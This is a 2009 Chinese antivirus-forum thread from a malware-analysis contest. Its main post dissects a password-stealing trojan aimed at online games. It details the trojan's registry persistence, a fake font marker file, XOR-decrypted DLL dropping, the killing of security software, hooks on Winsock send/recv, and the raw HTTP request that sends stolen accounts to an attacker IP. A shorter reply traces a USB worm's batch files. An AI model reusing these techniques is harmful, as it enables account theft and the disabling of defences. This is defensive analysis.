楼主: 雨宫优子
收起左侧

[版主公告] 【论坛三周年样本区】样本分析大赛【阶段1完毕,阶段2正在进行】【新增活动奖励】

 关闭 [复制链接]
雨宫优子
 楼主| 发表于 2009-5-28 16:41:59 | 显示全部楼层

回复 72楼 lunglungyu 的帖子

无数次
jerrysun
头像被屏蔽
发表于 2009-5-28 18:22:53 | 显示全部楼层
我也贴个分析。大家都分析下载器。我来个盗号木马。这个是在早先看一个下载器样本时 从它的下载列表里搞到的。2.exe (下载列表里就叫这个)

反汇编代码实在是太多了,所以那些大家都十分熟悉的函数调用的代码就不贴了,贴些我觉得比较好玩的部分。

写的很糙,水平很烂,难免出错,各位见笑了~~~~

分析环境是VMware,分析工具是OD + IDApro + Winhex
2.exe 概述
梦幻西游(my.exe) 征途(conquer.exe) 浩方对战平台(gameclient.exe) 盗号木马
C++语言编写

主要行为
读取fonts下文件比较字符串判断是否已经感染。释放动态链接库文件。写启动项,安装全局钩子注入游戏进程,通过封包截取(hook联网函数),内存读取(读取mhmain.dll地址空间内数据,mhmain.dll是梦幻西游游戏进程关键模块。其他两个类似),读取窗口标题方式获取游戏玩家密码密保等信息,然后使用windows 套接字函数将窃取的信息发送到骇客指定的服务器上(
http://121.10.112.142)。木马还会盗取征途,浩方对战平台的密码。木马会关闭一些账号保护工具并不停对注册表中自身启动项进行回写,最后调用命令删除自身。

※※该木马应该经过免杀处理,在几处关键位置(如10003C28处等)存在多条nop指令。


※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
2.exe
Size: 24683 bytes
MD5: ED91C86A102E8F4DA2191D210EDFDAEE
加壳:UPX 0.89.6 - 1.02 / 1.05 - 1.24 -> Markus & Laszlo [Overlay]
编写工具及语言:VC++ 6.0   C++语言编写
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※

(一).CreateEvent创建无名事件对象,然后主线程CreateThread创建一线程,主线程WaitForSingleObject等待事件对象受信,如果1800000ms后,事件对象仍未受信,则调用TerminateThread结束线程(ExitCode = -1)。然后执行(二)的操作。
新创建的线程行为:
1.GetWindowsDirectoryA获取系统文件夹路径。sprintf格式化字符串%systemroot%\FOnts\D9PjvuvCAeWudqwq.ttf (不是随机文件名)

2.读取自身到内存缓冲区。
GetModuleFileNameA获取病毒体路径名。CreateFileA打开自身,GetFileSize获取自身大小。接下来调用VirtualAlloc在自己进程地址空间中分配 与自身文件大小相同的内存,然后ReadFile读取自身到这片内存缓冲区。CloseHandle关闭文件句柄。最后返回指向缓冲区的指针,返回0表示读取失败。


3.将病毒路径名全部转换为小写格式。
这里是一个调用tolower toupper的大小写转换的通用函数,传入的参数之一是选择转大写或转小写的标志量。传零表示转大写,非零转小写。
push    1               ; int
push    eax             ; Str
call    sub_401BB7
这里是将传入的str转小写(下面提到的字符串转小写用的函数都和这个相同或者类似)。


4.读取内存缓冲区中病毒体尾部数据(距文件尾部56字节至距文件尾部8字节这段数据),strcat连接成字符串"2761E00B569F0A28CF882C76FD4912242D0000000A0000002064ED5415DC4D25D7902A73FB5014233E67E60E4F99092DC2872B79FA514F7A7525BF5D0E87517696917A32BA2064ED5415DC4D25D790"
然后VirtualFree释放分配的内存


5.CreateFileA打开%systemroot\FOnts\D9PjvuvCAeWudqwq.ttf(我的电脑上是C:\WINDOWS\FOnts\D9PjvuvCAeWudqwq.ttf)。GetFileSize获取D9PjvuvCAeWudqwq.ttf的大小。接下来调用VirtualAlloc在自己进程地址空间中分配与D9PjvuvCAeWudqwq.ttf大小相同的内存,如果分配失败,子函数直接返回 0。否则,ReadFile将其读取到这片内存缓冲区。CloseHandle关闭文件句柄。最后返回指向缓冲区的指针。
以返回值判断D9PjvuvCAeWudqwq.ttf是否存在。
如果存在,则读取D9PjvuvCAeWudqwq.ttf尾部数据(距文件尾部56字节至距文件尾部8字节这段数据),与从病毒体尾部读取的数据进行比较,如果一致,则认为已经感染,跳到步骤7执行。


6.如果不存在D9PjvuvCAeWudqwq.ttf(返回0),则再重复一遍5的过程。如果仍不存在,则DeleteFileA删除%systemroot%\FOnts\D9PjvuvCAeWudqwq.ttf。CreateFileA打开%systemroot%\FOnts\D9PjvuvCAeWudqwq.ttf,_llseek定位文件指针到尾部(FILE_END),WriteFile向其尾部(因为是新创建的文件,所以也就是文件头写入"2761E00B569F0A28CF882C76FD4912242D0000000A0000002064ED5415DC4D25D7902A73FB5014233E67E60E4F99092DC2872B79FA514F7A7525BF5D0E87517696917A32BA2064ED5415DC4D25D790" (不含引号)
※※※通过资源管理器查看字体安装目录 fonts 下只会显示已经安装了的字体,不会显示其他文件,所以这为木马提供了很好的掩护,但是在命令行下木马就无所遁形了~~~

7.GetSystemDirectory获取%systemroot%,sprintf格式字符串"C:\WINDOWS\system32\erdznUfbK0ZF.dll"

8.同2的方法将自己读取到内存缓冲区。DeleteFileA 删除C:\WINDOWS\system32\erdznUfbK0ZF.dll 。以37为密钥,异或解密内存缓冲区中自身数据(从距文件头偏移0x6010处开始的共17920个字节,异或解密后,这17920个字节的数据是一个dll文件)
CreateFileA打开%systemroot%\system32\erdznUfbK0ZF.dll,_llseek定位文件指针到尾部,WriteFile向其尾部(其实也是文件头)将解密后的17920个字节的数据写入。同样的方法再向其尾部写入"2761E00B569F0A28CF882C76FD4912242D0000000A0000002064ED5415DC4D25D7902A73FB5014233E67E60E4F99092DC2872B79FA514F7A7525BF5D0E87517696917A32BA2064ED5415DC4D25D790" (不含引号),作为病毒释放文件标记。


9.LoadLibraryA加载%systemroot%\system32\erdznUfbK0ZF.dll,GetProcAddress获取其导出函数JUFndB4pARSJ函数指针,调用JUFndB4pARSJ。

10.RegOpenKeyExA打开HKEY_LOCAL_MACHINE\Software\microsoft\windows\currentversion\Explorer\shellexecutehooks,RegQueryValueExA判断名为{669029EE-81FB-496F-9AC4-FE838B16F231}的键值是否存在。不存在则创建。

11.CreateToolhelp32Snapshot创建进程快照。Process32First,Process32Next遍历进程链,将遍历到的进程名转换为小写形式(同3类似的大小写转换通用函数),调用CryptoAPI为已转换为小写的进程名计算相应的MD5值。
这里比较感兴趣,贴下计算MD5的反汇编代码片段
以下是病毒为进程名计算MD5的反汇编代码片段。
.text:00401B0E ; =============== S U B R O U T I N E =======================================
.text:00401B0E
.text:00401B0E ; Attributes: bp-based frame
.text:00401B0E
.text:00401B0E ; int __cdecl sub_401B0E(BYTE *pbData, DWORD dwDataLen, int)
.text:00401B0E sub_401B0E      proc near               ; CODE XREF: sub_4017DE+AC p
.text:00401B0E
.text:00401B0E pdwDataLen      = dword ptr -0Ch
.text:00401B0E hProv           = dword ptr -8
.text:00401B0E hHash           = dword ptr -4
.text:00401B0E pbData          = dword ptr 8
.text:00401B0E dwDataLen       = dword ptr 0Ch
.text:00401B0E arg_8           = dword ptr 10h
.text:00401B0E
.text:00401B0E                 push    ebp
.text:00401B0F                 mov     ebp, esp
.text:00401B11                 sub     esp, 0Ch
.text:00401B14                 push    esi
.text:00401B15                 push    edi
.text:00401B16                 xor     esi, esi
.text:00401B18                 push    0F0000000h      ; dwFlags
.text:00401B1D                 push    1               ; dwProvType
.text:00401B1F                 push    esi             ; szProvider
.text:00401B20                 lea     eax, [ebp+hProv]
.text:00401B23                 push    esi             ; szContainer
.text:00401B24                 push    eax             ; phProv
.text:00401B25                 xor     edi, edi
.text:00401B27                 mov     [ebp+hProv], esi
.text:00401B2A                 mov     [ebp+hHash], esi
.text:00401B2D                 mov     [ebp+pdwDataLen], esi
.text:00401B30                 call    ds:CryptAcquireContextA
.text:00401B36                 test    eax, eax
.text:00401B38                 jz      short loc_401B79
.text:00401B3A                 lea     eax, [ebp+hHash]
.text:00401B3D                 push    eax             ; phHash
.text:00401B3E                 push    esi             ; dwFlags
.text:00401B3F                 push    esi             ; hKey
.text:00401B40                 push    8003h           ; Algid
.text:00401B45                 push    [ebp+hProv]     ; hProv
.text:00401B48                 call    ds:CryptCreateHash
.text:00401B4E                 test    eax, eax
.text:00401B50                 jz      short loc_401BA7
.text:00401B52                 push    esi             ; dwFlags
.text:00401B53                 push    [ebp+dwDataLen] ; dwDataLen
.text:00401B56                 push    [ebp+pbData]    ; pbData
.text:00401B59                 push    [ebp+hHash]     ; hHash
.text:00401B5C                 call    ds:CryptHashData
.text:00401B62                 test    eax, eax
.text:00401B64                 jnz     short loc_401B7D
.text:00401B66                 push    esi             ; dwFlags
.text:00401B67                 push    [ebp+hProv]     ; hProv
.text:00401B6A                 call    ds:CryptReleaseContext
.text:00401B70                 push    [ebp+hHash]     ; hHash
.text:00401B73                 call    ds:CryptDestroyHash
.text:00401B79
.text:00401B79 loc_401B79:                             ; CODE XREF: sub_401B0E+2A j
.text:00401B79                 xor     eax, eax
.text:00401B7B                 jmp     short loc_401BB3
.text:00401B7D ; ---------------------------------------------------------------------------
.text:00401B7D
.text:00401B7D loc_401B7D:                             ; CODE XREF: sub_401B0E+56 j
.text:00401B7D                 lea     eax, [ebp+pdwDataLen]
.text:00401B80                 push    esi             ; dwFlags
.text:00401B81                 push    eax             ; pdwDataLen
.text:00401B82                 mov     [ebp+pdwDataLen], 10h
.text:00401B89                 push    [ebp+arg_8]     ; pbData
.text:00401B8C                 push    2               ; dwParam
.text:00401B8E                 push    [ebp+hHash]     ; hHash
.text:00401B91                 call    ds:CryptGetHashParam
.text:00401B97                 test    eax, eax
.text:00401B99                 jz      short loc_401B9E
.text:00401B9B                 push    1
.text:00401B9D                 pop     edi
.text:00401B9E
.text:00401B9E loc_401B9E:                             ; CODE XREF: sub_401B0E+8B j
.text:00401B9E                 push    [ebp+hHash]     ; hHash
.text:00401BA1                 call    ds:CryptDestroyHash
.text:00401BA7
.text:00401BA7 loc_401BA7:                             ; CODE XREF: sub_401B0E+42 j
.text:00401BA7                 push    esi             ; dwFlags
.text:00401BA8                 push    [ebp+hProv]     ; hProv
.text:00401BAB                 call    ds:CryptReleaseContext
.text:00401BB1                 mov     eax, edi
.text:00401BB3
.text:00401BB3 loc_401BB3:                             ; CODE XREF: sub_401B0E+6D j
.text:00401BB3                 pop     edi
.text:00401BB4                 pop     esi
.text:00401BB5                 leave
.text:00401BB6                 retn
.text:00401BB6 sub_401B0E      endp


因为比较感兴趣这段代码,所以闲的没事给转成C代码了,以后可以留着自己用,呵呵

将以上反汇编代码转为C代码为:
//梦幻西游盗号木马2.exe计算进程名md5函数
//by jerrysun
//参数 1 pbData 为进程名字符串指针,
//参数 2 dwDataLen为是进程名的长度(strlen计算得到)
//参数 3 pbMd5为计算得到的进程名的MD5值
//返回值为 指示是否计算成功的标志量flag,返回FALSE指示计算失败,TRUE表示成功。

BOOL CalProcessNameMd5(char *pbData, DWORD dwDataLen, int pbMd5)
{

  
BOOL
flag = FALSE;
   HCRYPTPROV hProv = NULL;
   HCRYPTHASH hHash = NULL;
  
DWORD
pdwDataLen = 0;

  
//获取系统默认的CSP密钥容器句柄
  if(!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT))
      
return
flag;

  
//创建hash对象,使用MD5 hash算法
  if(CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash))
   {
      
//计算pbData指向的长度为dwDataLen的一段数据(进程名)的MD5值
      if(!CryptHashData(hHash, pbData, dwDataLen, 0))
       {
           CryptReleaseContext(hProv, 0);
           CryptDestroyHash(hHash);
         
return
flag;
       }
     pdwDataLen = 16;

   
//取出hash后的数据存在pbMd5指向的内存中
    if(CryptGetHashParam(hHash, 2, (char *)pbMd5, &pdwDataLen, 0))
         flag = TRUE;
     CryptDestroyHash(hHash);
   }
  
   CryptReleaseContext(hProv, 0);
  
return
flag;
}



12.OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges提升病毒进程权限为SeDebugPrivilege权限,使其拥有对其他进程的访问权。

13.然后调用memcmp将刚计算得到的进程名的MD5值与292685D9ED93E1336EBE01B60314D8F8比较,如果一致,则OpenProcess获取该进程句柄,然后TerminateProcess将其结束。
※这里是要结束名字的MD5值为292685D9ED93E1336EBE01B60314D8F8的进程,经过测试,字符串my.exe的MD5值就是292685d9ed93e1336ebe01b60314d8f8,即病毒要结束my.exe(网络游戏梦幻西游的进程名)


14.GetSystemDirectory获取%systemroot%路径。连接字符串 得到%systemroot%\system32\VErCLSiD.exe,FindFirstFileA 查找%systemroot%\system32\VErCLSiD.exe,找到后DeleteFileA 删除VErCLSiD.exe

15.RegCreateKeyA,RegSetValueEx新建注册表项及其下键值,注册CLSID值。
[HKEY_CLASSES_ROOT\CLSID\{669029EE-81FB-496F-9AC4-FE838B16F231}\InprocServer32]
名称:@
类型:REG_SZ
数据:"C:\\WINDOWS\\system32\\erdznUfbK0ZF.dll"
名称:ThreadingModel
类型:REG_SZ
数据:Apartment

同样的方法接着创建:
[HKEY_LOCAL_MACHINE\Software\microsoft\windows\currentversion\Explorer\shellexecutehooks]
名称:{669029EE-81FB-496F-9AC4-FE838B16F231}
类型:REG_SZ

将指向病毒文件erdznUfbK0ZF.dll的CLSID号添加到HOOK项中,使explorer.exe进程自动加载该dll文件,同时实现自启动。

16.Loadlibrary,GetProcAddress加载%systemroot%\system32\erdznUfbK0ZF.dll的导出函数JUFndB4pARSJ

17.SetEvent设置事件对象受信,主线程WaitForSingleObject返回,开始继续执行主线程内代码。ExitThread结束线程(ExitCode = 0)

(二).主线程接下来,GetModuleFileNameA获取自身路径,GetShortPathNameA获取短路径名。strcat拼接字符串得到"/c del C:\MYDOCU~1\桌面\2.exe >> NUL"
GetEnvironmentVariableA获取%ComSpec%路径,(即cmd.exe路径)ShellExecuteA调用cmd.exe 执行命令删除自身
ShellExecuteA
|hWnd = NULL
|Operation = NULL
|FileName = "C:\WINDOWS\system32\cmd.exe"
|Parameters = "/c del C:\MYDOCU~1\桌面\2.exe >> NUL"
|DefDir = NULL
\IsShown = 0

调用exit退出





[ 本帖最后由 jerrysun 于 2009-5-28 18:54 编辑 ]

评分

参与人数 1经验 +30 收起 理由
aarwwefdds + 30 感谢参与活动!

查看全部评分

jerrysun
头像被屏蔽
发表于 2009-5-28 18:23:21 | 显示全部楼层
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
erdznUfbK0ZF.dll
Size: 18003 bytes
MD5: 89C975C449AAC5496465D84D2954FCC1
加壳:UPX 0.80 - 1.24 DLL -> Markus & Laszlo [Overlay]
编写工具及语言:VC++ 6.0   C++语言编写
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※

如果fdwReason为DLL_PROCESS_ATTACH 则
1.获取加载此dll的进程名(不含路径),将其转换为小写形式。计算转换后的进程名MD5值(同2.exe一样的方法)。


2.memcmp将当前进程名MD5值与如下MD5序列比较,如果有一个一致则结束加载此dll的进程。
5AC71A9F4372CA7377C7E0C543FBFFFA     safeboxtray.exe
04D1C083134C2EBECA57A9724B0855D4      360tray.exe
AE33A1F2459A12A09EC75D71D14B5E89      360safebox.exe
3ABD7CD8928FE1F3EB563F43B913CA4B     360safe.exe
B9E9786EAC82378D3A6E05FCC1E15D2C     未知
D7DB952BB0FA044F2B9A22FEADB37973     tqat.exe (网游安全模块)
1C085B8E02B137AA4EAFBE38CCF3D199     未知

结束方法:GetCurrentProcessId获取加载此dll的进程的进程ID号,OpenProcess通过ID号获取该进程句柄,TerminateProcess结束进程。

3.重复1的过程。再次计算加载此dll的进程的进程名MD5值。
然后将转换后的进程名MD5与CDE09BCDF5FDE1E2EAC52C0F93362B79比较 (explorer.exe),如果一致(即病毒的dll被explorer.exe加载)则
①CreateMutexA创建名为MTX:D9PjvuvCAeWudqwq的互斥量,GetLastError判断是否已经在运行。
②如果没有运行,则调用该dll导出函数JUFndB4pARSJ (该函数分析见下面)
③GetModuleFileNameA获取dll路径,LoadLibrary加载自身
DllMain结束


4.如果当前进程名 不是explorer.exe,再次重复1的过程,取得加载dll的模块名,计算其小写形式的MD5值,如果MD5是292685D9ED93E1336EBE01B60314D8F8 (my.exe),即这个病毒dll已注入梦幻西游 游戏进程,则CreateThread创建一线程,该线程操作:
   a.创建一线程 线程函数名为StartAddress。
     该线程操作:循环根据GetForegroundWindow取得的前台窗口句柄 调用GetWindowThreadProcessId取得前台窗口得进程ID号,与当前进程ID号(GetCurrentProcessId取得)比较,如果一致则GetWindowTextA取得前台窗口标题,取得窗口标题 "梦幻西游ONLINE - (" 后的内容,经测 试,其为账号所在区及用户ID。如下图所示(图片请见附件,名字是瞎注册的 (*^__^*)     )


   b.GetModuleHandleA获取my.exe的模块mhmain.dll句柄。VirtualAlloc分配内存,memcpy将内存中mhmain.dll内的数据读取到分配到的缓冲区中,同样的方法再依次读取内存中mhmain.dll地址空间内多处数据。
   c.GetVersionExA判断操作系统版本,GetModuleHandleA获取my.exe中模块ws2_32.dll基址,GetProcAddress分别取得函数 send,recv, connect 地址。IsBadReadPtr判断对ws2_32.dll的send函数的前5个字节是否具有读权限,如果有则读取函数send的前5个字节,保存在缓冲区中。同样的方法读取recv,connect的前5个字节,然后用跳转语句覆盖函数前5个字节,hook函数send,recv,connect,封包截取包含登录密 码的游戏数据包。然后再将缓冲区中保留的三个函数前5个字节的内容还原回去。


5.再创建一个线程,该线程操作:
   a.使用Windows Sockets 函数发送盗取的密码。
     WSAStartup初始化winsock,gethostbyname获取主机121.10.112.142信息,然后创建socket,ntohs进行端口转换,connect与创建的套接字建立连接,send 向主机121.10.112.142发送 GET /jieshao/lin.asp?Re=&s=&A=&P=&PIN=&H=&J7=0&MB=&R=&RG=-1&M=-1&M1=-1&mac=&RG1=-1&o1=&o2=&vc=EE3770168BD2234BB9FFB5A44AB35FB3 HTTP/1.1",CR,LF,"Accept: */*",CR,LF,"User-Agent:igameclient",CR,LF,"Host:121.10.112.142",CR,LF,"Connection: c"...   。然后closesocket关闭套接字。
   b.同样的方法发送密报信息到
http://121.10.112.142:8080/jieshao/mibao.asp(或http://121.10.112.142:8080/jieshao/mb.asp) ,最后WSACleanup。

6.重复1的过程,将加载此dll的模块名小写形式的MD5值与9895AEE8650B17CC077AA9F38C19DD7A (gameclient.exe, 此为浩方对战平台程序)比较,如果一致则创建由进程ID计算得到的随机互斥量(MutexName = "C5DD3E8A-7093-4144-96DF-E0720B84CDB8:00000254" 00000254是进程ID号)。判断自身是否已经运行,如果未运行则创建同步骤 4,5 功能类似的两个线程,一个线程内存读取封包读取密码,一个线程发送盗取的信息。
DllMain结束


7.如果不一致 则再重复1过程,将加载此dll的模块名小写形式的MD5值与
9BA3F7FB95F61D96D4B5446A73DF6253(conquer.exe,此为网络游戏征服的进程)比较,如果一致则创建由进程ID计算得到的随机互斥量。判断自身是否已经运行,如果未运行则创建同步骤4,5类似的两个线程。
DllMain结束


※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
erdznUfbK0ZF.dll 的导出函数分析
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
erdznUfbK0ZF.dll 共有3个导出函数,分别为
hint     function             entry point
1.      QSTdR8vtujTSKh        0x000020C3
0.      JUFndB4pARSJ          0x00002074
2.      dP5yRxpbTyfes2EY      0x000020C3
从入口点可以看出dP5yRxpbTyfes2EY和QSTdR8vtujTSKh是同一个函数,且函数内部只是一个return语句。
.text:100020C3                 public dP5yRxpbTyfes2EY
.text:100020C3 dP5yRxpbTyfes2EY proc near              ; CODE XREF: DllMain(x,x,x)+1DE p
.text:100020C3                                         ; DATA XREF: .rdata:100071C8 o ...
.text:100020C3                 retn                    ; QSTdR8vtujTSKh
.text:100020C3 dP5yRxpbTyfes2EY endp




下面是JUFndB4pARSJ的分析。
导出函数JUFndB4pARSJ:
①OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges提升病毒进程权限为SeDebugPrivilege权限,使其拥有对其他进程的访问权。

②CreateThread创建一线程 该线程操作:
     每隔3秒CreateToolhelp32Snapshot,Process32First,Process32Next遍历进程链。将进程链中的进程名的小写形式的MD5值与如下值进行比较
     5AC71A9F4372CA7377C7E0C543FBFFFA    safeboxtray.exe
     04D1C083134C2EBECA57A9724B0855D4     360tray.exe
     AE33A1F2459A12A09EC75D71D14B5E89     360safebox.exe
     3ABD7CD8928FE1F3EB563F43B913CA4B    360safe.exe
     B9E9786EAC82378D3A6E05FCC1E15D2C    未知
     D7DB952BB0FA044F2B9A22FEADB37973    tqat.exe (网龙公司安全模块)
     1C085B8E02B137AA4EAFBE38CCF3D199    未知
     如果有匹配的,则TerminateProcess将其结束。
     ※这个线程就是 一个死循环,每隔3秒查找进程中的安全软件,找到后结束其进程。

③再创建一个线程 该线程操作:
   a. GetCurrentThreadId,GetCurrentThread分别获取当前线程ID号和伪句柄。
   b. 计算当前进程名MD5值,如果是CDE09BCDF5FDE1E2EAC52C0F93362B79 (explorer.exe)则SetWindowHookExA 注册全局钩子,钩子类型为 WH_GETMESSAGE,钩子回调函数fn中是CallNextHook。
      ※注册这个钩子后,由于windows的消息机制,explorer.exe下运行的所有进程都要加载此病毒动态库文件。
   c. 查找%systemroot%\system32\VErCLSiD.exe,找到后删除。(同2.exe 第14步的操作)
   d. 然后通过修改注册表 hook explorer.exe加载项。(同2.exe 第15步的操作)
   e. 每隔2s,通过RegQueryValueExA取HKLM\Software\microsoft\windows\currentversion\Explorer\shellexecutehooks\{669029EE-81FB -496F-9AC4-FE838B16F231的类型和数据,如果返回值不是ERROR_SUCCESS,则重复步骤d的操作,重新修改注册表挂钩explorer.exe加载项
      ※这里的行为就是 一个死循环每隔2s检查病毒自己的启动项是否被删除,如果被删就重建。



////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
该木马应该是为了免杀,所以根据进程名的MD5来查找游戏和安全软件的进程的,现在还有2个病毒要结束的进程只知道MD5值(B9E9786EAC82378D3A6E05FCC1E15D2C和1C085B8E02B137AA4EAFBE38CCF3D199 ),我试了一些进程都不匹配,期待高人指点。呵呵。





上传的样本说明:
压缩包密码:infected
可执行程序是2.exe.vir,改名即可。病毒释放的文件有erdznUfbK0ZF.dll 和 D9PjvuvCAeWudqwq.ttf。
另外附带udd格式的OD调试文件,在关键部分已经写好注释并设置好断点,方便大家调试。还有.map文件,加载后可以帮助OD识别一些C++运行库函数。
还有,上传的文件都是已经脱过壳的。

就这样了,Happy Debugging~~~

[ 本帖最后由 jerrysun 于 2009-6-1 11:04 编辑 ]

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
花间酒
发表于 2009-5-28 18:26:38 | 显示全部楼层
原帖由 jerrysun 于 2009-5-28 18:23 发表
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
erdznUfbK0ZF.dll
Size: 18003 bytes
MD5: 89C975C449AAC5496465D84D2954FCC1
...

学习,,太强势了,看得偶自卑,,,另外那张外连百度的图看不了。。。

[ 本帖最后由 lunglungyu 于 2009-5-28 18:29 编辑 ]
newcenturysun
发表于 2009-5-28 19:29:37 | 显示全部楼层
原帖由 jerrysun 于 2009-5-28 18:23 发表
※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※※
erdznUfbK0ZF.dll
Size: 18003 bytes
MD5: 89C975C449AAC5496465D84D2954FCC1
...

学习学习~
cjwczm
发表于 2009-5-28 19:47:58 | 显示全部楼层
支持了,节日快乐!
王朝
发表于 2009-5-28 20:06:53 | 显示全部楼层
俺纯支持!权限不够!

[ 本帖最后由 王朝 于 2009-5-28 20:09 编辑 ]
foreverhyx
发表于 2009-5-28 20:29:37 | 显示全部楼层

BLlist.exe样本分析报告

    07年底曾经中过一个U盘病毒,那个时候瑞星不报,用了红伞才杀掉的,06年底来卡饭至今,也算个老会员吧,在这里学到了很多计算机安全方面的知识。借此次活动的机会,想重新分析下这个病毒。先声名下:这是个老病毒,而且应该也没什么含金量,而我在病毒分析方面并不擅长,因此只从行为方面进行最基本的分析,旨在参与,还望大家多多指点,不要见笑。

分析环境:虚拟机VMware 安装系统:Win2000 Pro SP4
分析工具:ProSecurity (HIPS) 


一 .病毒临床表现
1、系统时间在每次重启后改为当日的13:00 ;
2、任务管理器无法打开; 
3、造成系统运行缓慢。

二 .行为分析
1)病毒运行会首先在C盘根目录写下如下文件:
C:\.lnk
C:\File1
C:\Broker.bat
C:\Broker.dll
C:\Autorun.inf
C:\Blistb.bat
C:\Broker.bat
C:\BlRun.bat
C:\OPRun.lnk
C:\Blist.bat
C:\Install.bat
C:\.lnk

2)启动cmd.exe;
C:\WINNT\system32\cmd.exe
命令行cmd/c ""C:\INSTALL.BAT"",运行先前写入的INSTALL.BAT文件

3)通过cmd.exe启动新进程conime.exe;
命令行cmd/c ""C:\INSTALL.BAT""

4)在C盘根目录写下running.txt文件;
命令行cmd/c ""C:\INSTALL.BAT""

5)通过cmd.exe启动新进程attrib.exe(位置C:\WINNT\system32\attrib.exe),执行更改文件属性的外部命令attrib设置由D盘到Z盘下Blist.exe文件属性为系统文件,且为只读,隐藏。

运行命令行如下:

attrib D:\Blist.exe -s -h -r
attrib E:\Blist.exe -s -h -r
...
attrib Z:\Blist.exe -s -h -r

6)设置根目录下Blist.exe文件属性为系统文件,且为只读,隐藏;

7)通过cmd.exe启动新进程cmd.exe,并以新的命令行启动;


8)写下文件:
C:\Blist.bat
C:\WINNT\system\Broker.dll

9)删除如下已生成文件,消尸灭迹。
C:\OPRun.lnk
C:\Blist.bat
C:\BlRun.bat
C:\.lnk
C:\File1
C:\Blistb.bat
C:\Autorun.inf
C:\Broker.bat
C:\Broker.dll
C:\running.txt
C:\Install.bat

从只知道国产杀软,到利用国外优秀杀软防护自己的系统,再到虚拟机环境下利用常用的HIPS软件简单分析病毒行为,在卡饭的这段时间相比就自己的确有了不小的进步。仅以此报告献给卡饭,再次真挚地感谢卡饭,感谢这个大家庭的各位朋友~水平非常有限,还望各位高手海涵

[ 本帖最后由 foreverhyx 于 2009-5-29 19:16 编辑 ]

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x

评分

参与人数 2经验 +30 人气 +1 收起 理由
zwl2828 + 1 foreverhyx,加油!
aarwwefdds + 30 感谢参与活动!

查看全部评分

雨夜狂风
发表于 2009-5-29 08:04:30 | 显示全部楼层
偶电脑盲  只能支持下了
DDabell
发表于 2009-5-29 13:44:50 | 显示全部楼层
没有样本,来参与一下
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-11-22 01:13 , Processed in 0.112425 second(s), 15 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表